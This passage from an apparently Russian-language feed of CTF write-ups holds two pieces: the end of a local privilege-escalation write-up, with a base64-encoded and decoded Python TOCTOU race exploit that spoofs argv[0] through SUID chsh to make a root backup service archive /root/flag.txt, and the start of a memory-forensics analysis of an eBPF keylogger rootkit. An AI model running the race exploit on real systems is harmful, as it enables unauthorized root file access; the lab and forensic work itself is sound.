&amp;#x27;IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK&amp;#x27; | base64 -d &amp;gt; /tmp/race.py&lt;/pre&gt;
  &lt;p id=&quot;rtGr&quot;&gt;Проверка корректности Python-кода:&lt;/p&gt;
  &lt;pre id=&quot;Jx2s&quot; data-lang=&quot;bash&quot;&gt;python3 -m py_compile /tmp/race.py &amp;amp;&amp;amp; echo &amp;#x27;[+] Script OK&amp;#x27;&lt;/pre&gt;
  &lt;p id=&quot;xNB3&quot;&gt;Результат:&lt;/p&gt;
  &lt;pre id=&quot;43Gw&quot;&gt;[+] Script OK&lt;/pre&gt;
  &lt;p id=&quot;lM35&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;54JI&quot; data-align=&quot;center&quot;&gt;Исходный код эксплуатационного скрипта&lt;/h2&gt;
  &lt;p id=&quot;ciQP&quot;&gt;&lt;br /&gt;Декодированный скрипт имел следующий вид:&lt;/p&gt;
  &lt;pre id=&quot;30mg&quot; data-lang=&quot;python&quot;&gt;#!/usr/bin/env python3
import glob
import os
import pty
import signal
import socket
import time

SOCK = &amp;quot;/var/run/managectl.sock&amp;quot;
CMD = b&amp;quot;backup adminsecurity\n&amp;quot;
LIMIT = 12

children = {}


def reap():
    for pid, fd in list(children.items()):
        try:
            done, _ = os.waitpid(pid, os.WNOHANG)
        except ChildProcessError:
            done = pid

        if done:
            try:
                os.close(fd)
            except OSError:
                pass

            children.pop(pid, None)


def spawn():
    pid, fd = pty.fork()

    if pid == 0:
        try:
            s = socket.socket(
                socket.AF_UNIX,
                socket.SOCK_STREAM
            )

            s.connect(SOCK)
            s.sendall(CMD)

            os.execv(
                &amp;quot;/usr/bin/chsh&amp;quot;,
                [&amp;quot;managectl &amp;quot;, &amp;quot;operator&amp;quot;]
            )

        except Exception:
            os._exit(1)

    children[pid] = fd


archive = None

try:
    while archive is None:
        reap()

        while len(children) &amp;lt; LIMIT:
            spawn()

        files = glob.glob(
            &amp;quot;/data/backup/adminsecurity-*.tar&amp;quot;
        )

        if files:
            archive = max(
                files,
                key=os.path.getmtime
            )
            break

        time.sleep(0.005)

finally:
    for pid in list(children):
        try:
            os.kill(pid, signal.SIGKILL)
        except ProcessLookupError:
            pass

    for pid, fd in list(children.items()):
        try:
            os.waitpid(pid, 0)
        except ChildProcessError:
            pass

        try:
            os.close(fd)
        except OSError:
            pass

print(archive)&lt;/pre&gt;
  &lt;p id=&quot;5Id7&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;0jgB&quot; data-align=&quot;center&quot;&gt;Принцип работы эксплуатационного скрипта&lt;/h2&gt;
  &lt;p id=&quot;PylM&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;XLnC&quot;&gt;Для каждой попытки выполнялись следующие действия.&lt;br /&gt;Создание дочернего процесса с PTY:&lt;/p&gt;
  &lt;pre id=&quot;sT9t&quot; data-lang=&quot;python&quot;&gt;pid, fd = pty.fork()&lt;/pre&gt;
  &lt;p id=&quot;YF4f&quot;&gt;Подключение к административному Unix-сокету:&lt;/p&gt;
  &lt;pre id=&quot;iN20&quot; data-lang=&quot;python&quot;&gt;s = socket.socket(
    socket.AF_UNIX,
    socket.SOCK_STREAM
)

s.connect(&amp;quot;/var/run/managectl.sock&amp;quot;)&lt;/pre&gt;
  &lt;p id=&quot;vBnh&quot;&gt;Отправка команды:&lt;/p&gt;
  &lt;pre id=&quot;QtrI&quot; data-lang=&quot;python&quot;&gt;s.sendall(b&amp;quot;backup adminsecurity\n&amp;quot;)&lt;/pre&gt;
  &lt;p id=&quot;A8xM&quot;&gt;После отправки команды процесс заменялся на SUID-root программу:&lt;/p&gt;
  &lt;pre id=&quot;8w0I&quot; data-lang=&quot;python&quot;&gt;os.execv(
    &amp;quot;/usr/bin/chsh&amp;quot;,
    [&amp;quot;managectl &amp;quot;, &amp;quot;operator&amp;quot;]
)&lt;/pre&gt;
  &lt;p id=&quot;uHmS&quot;&gt;В этот момент:&lt;/p&gt;
  &lt;ul id=&quot;s6FA&quot;&gt;
    &lt;li id=&quot;9XbU&quot;&gt;PID процесса не менялся;&lt;/li&gt;
    &lt;li id=&quot;8fA0&quot;&gt;реальным исполняемым файлом становился &lt;code&gt;/usr/bin/chsh&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;L8nP&quot;&gt;&lt;code&gt;argv[0]&lt;/code&gt; становился &lt;code&gt;managectl &lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;NnV5&quot;&gt;&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/cmdline&lt;/code&gt; проходил регулярное выражение;&lt;/li&gt;
    &lt;li id=&quot;YEol&quot;&gt;&lt;code&gt;chsh&lt;/code&gt; временно имел &lt;code&gt;effective UID = 0&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;eTox&quot;&gt;Root-сервис считывал данные процесса в удачный момент и разрешал выполнение команды:&lt;/p&gt;
  &lt;pre id=&quot;z6if&quot;&gt;backup adminsecurity&lt;/pre&gt;
  &lt;p id=&quot;jdj1&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;LJOm&quot; data-align=&quot;center&quot;&gt;Эксплуатация&lt;/h2&gt;
  &lt;p id=&quot;xDRt&quot;&gt;&lt;br /&gt;Скрипт был запущен:&lt;/p&gt;
  &lt;pre id=&quot;0MgM&quot; data-lang=&quot;bash&quot;&gt;python3 /tmp/race.py&lt;/pre&gt;
  &lt;p id=&quot;Zdlp&quot;&gt;После успешной гонки был получен путь к архиву:&lt;/p&gt;
  &lt;pre id=&quot;ZoHT&quot;&gt;/data/backup/adminsecurity-20260719131103.tar&lt;/pre&gt;
  &lt;p id=&quot;z1jp&quot;&gt;Это означало, что root-процесс успешно выполнил:&lt;/p&gt;
  &lt;pre id=&quot;Df76&quot;&gt;backup adminsecurity&lt;/pre&gt;
  &lt;p id=&quot;twII&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;5hZ1&quot; data-align=&quot;center&quot;&gt;Проверка созданного архива&lt;/h2&gt;
  &lt;p id=&quot;dAxo&quot;&gt;&lt;br /&gt;Последний созданный архив был записан в переменную:&lt;/p&gt;
  &lt;pre id=&quot;Kpbs&quot;&gt;A=&amp;quot;$(ls -t /data/backup/adminsecurity-*.tar | head -n1)&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;fU26&quot;&gt;Путь был выведен:&lt;/p&gt;
  &lt;pre id=&quot;jNBg&quot;&gt;echo &amp;quot;[+] Archive: $A&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;X9La&quot;&gt;Результат:&lt;/p&gt;
  &lt;pre id=&quot;KlIX&quot;&gt;[+] Archive: /data/backup/adminsecurity-20260719131103.tar&lt;/pre&gt;
  &lt;p id=&quot;yxuz&quot;&gt;Содержимое архива:&lt;/p&gt;
  &lt;pre id=&quot;9awx&quot;&gt;tar -tf &amp;quot;$A&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;RPuv&quot;&gt;Результат:&lt;/p&gt;
  &lt;pre id=&quot;FOXM&quot;&gt;adminsecurity/
adminsecurity/root-flag.txt&lt;/pre&gt;
  &lt;p id=&quot;V3mu&quot;&gt;Это подтвердило, что символическая ссылка была разыменована, а файл &lt;code&gt;/root/flag.txt&lt;/code&gt; попал в архив под именем:&lt;/p&gt;
  &lt;pre id=&quot;bNYH&quot;&gt;adminsecurity/root-flag.txt&lt;/pre&gt;
  &lt;p id=&quot;MYk5&quot; data-align=&quot;center&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;wsw7&quot; data-align=&quot;center&quot;&gt;Получение флага&lt;/h2&gt;
  &lt;p id=&quot;188Z&quot;&gt;&lt;br /&gt;Файл был прочитан непосредственно из архива без распаковки на диск:&lt;/p&gt;
  &lt;pre id=&quot;pLOB&quot;&gt;tar -xOf &amp;quot;$A&amp;quot; adminsecurity/root-flag.txt&lt;/pre&gt;
  &lt;p id=&quot;i2kp&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;WgbV&quot; data-align=&quot;center&quot;&gt;Итоговая последовательность команд&lt;/h2&gt;
  &lt;p id=&quot;EJPx&quot;&gt;&lt;br /&gt;Минимальная последовательность после обнаружения уязвимости выглядела следующим образом.&lt;br /&gt;Остановка старых процессов:&lt;/p&gt;
  &lt;pre id=&quot;iVzX&quot; data-lang=&quot;bash&quot;&gt;pkill -9 -u operator chsh 2&amp;gt;/dev/null
pkill -9 -u operator chfn 2&amp;gt;/dev/null
pkill -9 -u operator passwd 2&amp;gt;/dev/null&lt;/pre&gt;
  &lt;p id=&quot;nmpg&quot;&gt;Создание разрешённого каталога и симлинка:&lt;/p&gt;
  &lt;pre id=&quot;lOzn&quot; data-lang=&quot;bash&quot;&gt;mkdir -p /data/adminsecurity
ln -sf /root/flag.txt /data/adminsecurity/root-flag.txt&lt;/pre&gt;
  &lt;p id=&quot;D8Sn&quot;&gt;Проверка:&lt;/p&gt;
  &lt;pre id=&quot;VoPl&quot; data-lang=&quot;bash&quot;&gt;ls -la /data/adminsecurity&lt;/pre&gt;
  &lt;p id=&quot;N48d&quot;&gt;Удаление старых архивов:&lt;/p&gt;
  &lt;pre id=&quot;6Xxx&quot; data-lang=&quot;bash&quot;&gt;rm -f /data/backup/adminsecurity-*.tar&lt;/pre&gt;
  &lt;p id=&quot;Ynuc&quot;&gt;Создание эксплуатационного скрипта:&lt;/p&gt;
  &lt;pre id=&quot;1qF5&quot; data-lang=&quot;bash&quot;&gt;echo &amp;#x27;IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwppbXBvcnQgZ2xvYgppbXBvcnQgb3MKaW1wb3J0IHB0eQppbXBvcnQgc2lnbmFsCmltcG9ydCBzb2NrZXQKaW1wb3J0IHRpbWUKClNPQ0sgPSAiL3Zhci9ydW4vbWFuYWdlY3RsLnNvY2siCkNNRCA9IGIiYmFja3VwIGFkbWluc2VjdXJpdHlcbiIKTElNSVQgPSAxMgpjaGlsZHJlbiA9IHt9CgpkZWYgcmVhcCgpOgogICAgZm9yIHBpZCwgZmQgaW4gbGlzdChjaGlsZHJlbi5pdGVtcygpKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGRvbmUsIF8gPSBvcy53YWl0cGlkKHBpZCwgb3MuV05PSEFORykKICAgICAgICBleGNlcHQgQ2hpbGRQcm9jZXNzRXJyb3I6CiAgICAgICAgICAgIGRvbmUgPSBwaWQKICAgICAgICBpZiBkb25lOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICAgICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGNoaWxkcmVuLnBvcChwaWQsIE5vbmUpCgpkZWYgc3Bhd24oKToKICAgIHBpZCwgZmQgPSBwdHkuZm9yaygpCiAgICBpZiBwaWQgPT0gMDoKICAgICAgICB0cnk6CiAgICAgICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9VTklYLCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgICAgIHMuY29ubmVjdChTT0NLKQogICAgICAgICAgICBzLnNlbmRhbGwoQ01EKQogICAgICAgICAgICBvcy5leGVjdigiL3Vzci9iaW4vY2hzaCIsIFsibWFuYWdlY3RsICIsICJvcGVyYXRvciJdKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgIG9zLl9leGl0KDEpCiAgICBjaGlsZHJlbltwaWRdID0gZmQKCmFyY2hpdmUgPSBOb25lCnRyeToKICAgIHdoaWxlIGFyY2hpdmUgaXMgTm9uZToKICAgICAgICByZWFwKCkKICAgICAgICB3aGlsZSBsZW4oY2hpbGRyZW4pIDwgTElNSVQ6CiAgICAgICAgICAgIHNwYXduKCkKICAgICAgICBmaWxlcyA9IGdsb2IuZ2xvYigiL2RhdGEvYmFja3VwL2FkbWluc2VjdXJpdHktKi50YXIiKQogICAgICAgIGlmIGZpbGVzOgogICAgICAgICAgICBhcmNoaXZlID0gbWF4KGZpbGVzLCBrZXk9b3MucGF0aC5nZXRtdGltZSkKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0aW1lLnNsZWVwKDAuMDA1KQpmaW5hbGx5OgogICAgZm9yIHBpZCBpbiBsaXN0KGNoaWxkcmVuKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIG9zLmtpbGwocGlkLCBzaWduYWwuU0lHS0lMTCkKICAgICAgICBleGNlcHQgUHJvY2Vzc0xvb2t1cEVycm9yOgogICAgICAgICAgICBwYXNzCiAgICBmb3IgcGlkLCBmZCBpbiBsaXN0KGNoaWxkcmVuLml0ZW1zKCkpOgogICAgICAgIHRyeToKICAgICAgICAgICAgb3Mud2FpdHBpZChwaWQsIDApCiAgICAgICAgZXhjZXB0IENoaWxkUHJvY2Vzc0Vycm9yOgogICAgICAgICAgICBwYXNzCiAgICAgICAgdHJ5OgogICAgICAgICAgICBvcy5jbG9zZShmZCkKICAgICAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICAgICAgcGFzcwoKcHJpbnQoYXJjaGl2ZSkK&amp;#x27; | base64 -d &amp;gt; /tmp/race.py&lt;/pre&gt;
  &lt;p id=&quot;R0Hd&quot;&gt;Проверка скрипта:&lt;/p&gt;
  &lt;pre id=&quot;l4JZ&quot; data-lang=&quot;bash&quot;&gt;python3 -m py_compile /tmp/race.py&lt;/pre&gt;
  &lt;p id=&quot;vwGW&quot;&gt;Запуск гонки:&lt;/p&gt;
  &lt;pre id=&quot;Fhhm&quot; data-lang=&quot;bash&quot;&gt;python3 /tmp/race.py&lt;/pre&gt;
  &lt;p id=&quot;4cRs&quot;&gt;Определение созданного архива:&lt;/p&gt;
  &lt;pre id=&quot;Obl3&quot; data-lang=&quot;bash&quot;&gt;A=&amp;quot;$(ls -t /data/backup/adminsecurity-*.tar | head -n1)&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;PQyv&quot;&gt;Просмотр содержимого:&lt;/p&gt;
  &lt;pre id=&quot;z49U&quot; data-lang=&quot;bash&quot;&gt;tar -tf &amp;quot;$A&amp;quot;&lt;/pre&gt;
  &lt;p id=&quot;0pNV&quot;&gt;Чтение флага:&lt;/p&gt;
  &lt;pre id=&quot;OsP7&quot; data-lang=&quot;bash&quot;&gt;tar -xOf &amp;quot;$A&amp;quot; adminsecurity/root-flag.txt&lt;/pre&gt;
  &lt;h3 id=&quot;gZZ9&quot;&gt;Полная цепочка эксплуатации&lt;/h3&gt;
  &lt;p id=&quot;dtkf&quot;&gt;Цепочка выглядела следующим образом:&lt;/p&gt;
  &lt;pre id=&quot;fpMh&quot;&gt;Пользователь operator
        |
        v
Создание /data/adminsecurity/root-flag.txt
        |
        v
Симлинк на /root/flag.txt
        |
        v
Подключение к /var/run/managectl.sock
        |
        v
Отправка команды backup adminsecurity
        |
        v
execve(&amp;quot;/usr/bin/chsh&amp;quot;, [&amp;quot;managectl &amp;quot;, &amp;quot;operator&amp;quot;])
        |
        v
cmdline соответствует trusted regex
        |
        v
effective UID временно равен root
        |
        v
TOCTOU-проверка успешно пройдена
        |
        v
Root-сервис запускает tar -chf
        |
        v
tar -h разыменовывает симлинк
        |
        v
/root/flag.txt попадает в архив
        |
        v
Флаг извлекается через tar -xOf&lt;/pre&gt;

</content></entry><entry><id>filepom:Honeykeeper</id><link rel="alternate" type="text/html" href="https://teletype.in/@filepom/Honeykeeper?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=filepom"></link><title>Writeup - Honeykeeper</title><published>2026-07-27T14:33:02.457Z</published><updated>2026-07-27T14:33:02.457Z</updated><summary type="html">Рабочий компьютер сотрудника был скомпрометирован в результате фишинговой атаки. По легенде задания злоумышленники использовали Linux-руткит eBee, распространяемый на подпольных «пчелиных» форумах.
Для анализа был предоставлен сжатый дамп оперативной памяти:</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;p id=&quot;eazi&quot;&gt;Рабочий компьютер сотрудника был скомпрометирован в результате фишинговой атаки. По легенде задания злоумышленники использовали Linux-руткит &lt;code&gt;eBee&lt;/code&gt;, распространяемый на подпольных «пчелиных» форумах.&lt;br /&gt;Для анализа был предоставлен сжатый дамп оперативной памяти:&lt;/p&gt;
    &lt;pre id=&quot;2BGQ&quot;&gt;honeykeeper_dump.img.xz&lt;/pre&gt;
    &lt;p id=&quot;6qJn&quot;&gt;Цель задания — исследовать дамп, обнаружить следы руткита и восстановить флаг.&lt;/p&gt;
  &lt;/section&gt;
  &lt;p id=&quot;anyv&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;ilBT&quot; data-align=&quot;center&quot;&gt;Проверка и распаковка дампа&lt;/h2&gt;
  &lt;p id=&quot;o4po&quot;&gt;&lt;br /&gt;Сначала проверим целостность XZ-архива:&lt;/p&gt;
  &lt;pre id=&quot;GBuI&quot; data-lang=&quot;bash&quot;&gt;xz -t honeykeeper_dump.img.xz&lt;/pre&gt;
  &lt;p id=&quot;eW3p&quot;&gt;Ошибок обнаружено не было.&lt;br /&gt;Распаковываем дамп:&lt;/p&gt;
  &lt;pre id=&quot;Fmpj&quot; data-lang=&quot;bash&quot;&gt;xz -dk honeykeeper_dump.img.xz&lt;/pre&gt;
  &lt;p id=&quot;97s3&quot;&gt;Определяем формат полученного файла:&lt;/p&gt;
  &lt;pre id=&quot;VuGK&quot; data-lang=&quot;bash&quot;&gt;file honeykeeper_dump.img&lt;/pre&gt;
  &lt;p id=&quot;pwU8&quot;&gt;Результат показал, что перед нами не образ диска, а ELF core dump Linux x86-64 размером около 1,6 ГБ:&lt;/p&gt;
  &lt;pre id=&quot;CMz3&quot;&gt;ELF 64-bit LSB core file, x86-64&lt;/pre&gt;
  &lt;p id=&quot;Vv7g&quot;&gt;Это полноценный снимок оперативной памяти виртуальной машины.&lt;/p&gt;
  &lt;p id=&quot;K4ce&quot;&gt; &lt;/p&gt;
  &lt;h2 id=&quot;ayv6&quot; data-align=&quot;center&quot;&gt;Первичный анализ строк&lt;/h2&gt;
  &lt;p id=&quot;hzwt&quot;&gt;&lt;br /&gt;Для первоначального поиска индикаторов компрометации используем &lt;code&gt;strings&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;HLX5&quot; data-lang=&quot;bash&quot;&gt;strings -a honeykeeper_dump.img | less&lt;/pre&gt;
  &lt;p id=&quot;3wBy&quot;&gt;Также выполним поиск по названию предполагаемого руткита:&lt;/p&gt;
  &lt;pre id=&quot;HBJb&quot;&gt;strings -a honeykeeper_dump.img | grep -i -E &amp;#x27;ebee|rootkit|bpf&amp;#x27;&lt;/pre&gt;
  &lt;p id=&quot;TTsb&quot;&gt;В памяти были обнаружены следующие строки:&lt;/p&gt;
  &lt;pre id=&quot;POru&quot;&gt;bpf_prog_166a5b3876fbe624_eBeeKeys
bpf_prog_a0c6dd9bd609151f_eBeeIngress
bpf_prog_7c18515a1e8909af_eBeeEgress&lt;/pre&gt;
  &lt;p id=&quot;6cs4&quot;&gt;Таким образом, в системе были загружены три подозрительные eBPF-программы:&lt;/p&gt;
  &lt;ul id=&quot;dZcg&quot;&gt;
    &lt;li id=&quot;2r2r&quot;&gt;&lt;code&gt;eBeeKeys&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;T0iV&quot;&gt;&lt;code&gt;eBeeIngress&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;dUBP&quot;&gt;&lt;code&gt;eBeeEgress&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;xJbo&quot;&gt;По названиям можно предположить следующее назначение компонентов&lt;br /&gt;&lt;code&gt;eBeeKeys&lt;/code&gt; - перехват нажатий клавиатуры&lt;br /&gt;&lt;code&gt;eBeeIngress&lt;/code&gt;  - обработка входящего сетевого трафика&lt;br /&gt;&lt;code&gt;eBeeEgress&lt;/code&gt; - перехват исходящего сетевого трафика&lt;br /&gt;Следовательно, компрометация системы подтверждается.&lt;/p&gt;
  &lt;h2 id=&quot;Uvin&quot; data-align=&quot;center&quot;&gt;&lt;br /&gt;Информация об исследуемой системе&lt;/h2&gt;
  &lt;p id=&quot;vrvP&quot;&gt;&lt;br /&gt;В дампе удалось найти информацию об операционной системе и ядре:&lt;/p&gt;
  &lt;pre id=&quot;z1PP&quot;&gt;Linux 6.17.0-35-generic
Ubuntu 6.17.0-35.35-generic
x86-64&lt;/pre&gt;
  &lt;p id=&quot;xQtX&quot;&gt;Также были обнаружены имя пользователя и hostname:&lt;/p&gt;
  &lt;pre id=&quot;ErLe&quot;&gt;USER=honeykeeper
HOSTNAME=honeykeeper-pc&lt;/pre&gt;
  &lt;p id=&quot;aFZY&quot;&gt;Для полноценного анализа Linux-дампа через Volatility требуется таблица символов, соответствующая конкретной версии ядра.&lt;br /&gt;При попытке запуска стандартных Linux-плагинов Volatility без символов возникала ошибка:&lt;/p&gt;
  &lt;pre id=&quot;FBFu&quot;&gt;Unsatisfied requirement:
kernel.layer_name
kernel.symbol_table_name&lt;/pre&gt;
  &lt;p id=&quot;o2qU&quot;&gt;В дампе присутствовала подсказка:&lt;/p&gt;
  &lt;pre id=&quot;plHr&quot;&gt;rootkit or ebee lets go:
https://ebee-deps-imqs01in.avitoctf.ru/&lt;/pre&gt;
  &lt;p id=&quot;0uJW&quot;&gt;Вероятно, по этому адресу ранее располагались необходимые символы ядра или дополнительные материалы для анализа. Однако для нахождения флага оказалось достаточно ручного исследования памяти и структур eBPF.&lt;/p&gt;
  &lt;p id=&quot;84aZ&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;rfZM&quot; data-align=&quot;center&quot;&gt;Анализ функциональности eBee&lt;/h2&gt;
  &lt;p id=&quot;v8Up&quot;&gt;&lt;br /&gt;В памяти были обнаружены названия структур и полей, относящихся к C2-каналу руткита:&lt;/p&gt;
  &lt;pre id=&quot;Ed8i&quot;&gt;c2_details
enabled
c2_key_logging
crypto_key
key_logging&lt;/pre&gt;
  &lt;p id=&quot;xtY0&quot;&gt;Также присутствовали структуры пакетов:&lt;/p&gt;
  &lt;pre id=&quot;VNXu&quot;&gt;c2_datapacket
source
data
C2_NONE
C2_KEYLOGGING
keylog
symbol
salt&lt;/pre&gt;
  &lt;p id=&quot;fbjb&quot;&gt;Из этого следует, что руткит реализует отдельный механизм передачи перехваченных нажатий клавиатуры.&lt;br /&gt;Каждая запись кейлоггера содержит как минимум:&lt;/p&gt;
  &lt;ul id=&quot;cPjT&quot;&gt;
    &lt;li id=&quot;DWq3&quot;&gt;зашифрованный символ &lt;code&gt;symbol&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;Y8IG&quot;&gt;значение &lt;code&gt;salt&lt;/code&gt;;&lt;/li&gt;
    &lt;li id=&quot;Rsuy&quot;&gt;источник данных;&lt;/li&gt;
    &lt;li id=&quot;p1C3&quot;&gt;идентификатор типа C2-пакета.&lt;/li&gt;
    &lt;li id=&quot;8z9d&quot;&gt;При этом для шифрования используется поле &lt;code&gt;crypto_key&lt;/code&gt;.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;QA5d&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;G3eO&quot; data-align=&quot;center&quot;&gt;Поиск флага в открытом виде&lt;/h2&gt;
  &lt;p id=&quot;o6V8&quot;&gt;&lt;br /&gt;Первым делом проверим распространённые форматы флагов:&lt;/p&gt;
  &lt;pre id=&quot;G7dd&quot;&gt;strings -a honeykeeper_dump.img | grep -Eio \
&amp;#x27;avito\{[^}]+\}|flag\{[^}]+\}|ctf\{[^}]+\}&amp;#x27;&lt;/pre&gt;
  &lt;p id=&quot;x3zm&quot;&gt;Результатов получено не было.&lt;br /&gt;Это означало, что флаг:&lt;/p&gt;
  &lt;ul id=&quot;3taO&quot;&gt;
    &lt;li id=&quot;vV4E&quot;&gt;не хранится в памяти открытым текстом;&lt;/li&gt;
    &lt;li id=&quot;T5Lk&quot;&gt;либо находится в бинарной структуре;&lt;/li&gt;
    &lt;li id=&quot;h5O9&quot;&gt;либо был зашифрован руткитом перед сохранением в eBPF-карте.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;tF4W&quot;&gt;&lt;br /&gt;Основным объектом дальнейшего анализа стала программа &lt;code&gt;eBeeKeys&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;0JHz&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;qE77&quot; data-align=&quot;center&quot;&gt;Поиск eBPF-карты кейлоггера&lt;/h2&gt;
  &lt;p id=&quot;txg9&quot;&gt;&lt;br /&gt;Рядом со структурами eBPF-программ были обнаружены ссылки на используемые карты.&lt;br /&gt;Особый интерес представляла карта:&lt;/p&gt;
  &lt;pre id=&quot;nfMK&quot;&gt;c2_databus&lt;/pre&gt;
  &lt;p id=&quot;cBwl&quot;&gt;Она использовалась как буфер для передачи данных между компонентами руткита и содержала записи типа &lt;code&gt;c2_datapacket&lt;/code&gt;.&lt;br /&gt;Внутри записей находились значения:&lt;/p&gt;
  &lt;pre id=&quot;GsG5&quot;&gt;symbol
salt&lt;/pre&gt;
  &lt;p id=&quot;7mc8&quot;&gt;Также в конфигурационной структуре руткита было найдено значение криптографического ключа:&lt;/p&gt;
  &lt;pre id=&quot;YABL&quot;&gt;crypto_key = 0x31&lt;/pre&gt;
  &lt;p id=&quot;DiYn&quot;&gt;После сопоставления нескольких записей стало понятно, что каждый символ зашифрован операцией XOR.&lt;br /&gt;Формула расшифровки:&lt;/p&gt;
  &lt;pre id=&quot;hIzp&quot;&gt;plain_symbol = encrypted_symbol ^ salt ^ crypto_key&lt;/pre&gt;
  &lt;p id=&quot;oPyX&quot;&gt;Для найденного экземпляра руткита:&lt;/p&gt;
  &lt;pre id=&quot;15AM&quot;&gt;plain_symbol = encrypted_symbol ^ salt ^ 0x31&lt;/pre&gt;
  &lt;p id=&quot;XKqo&quot;&gt;&lt;/p&gt;
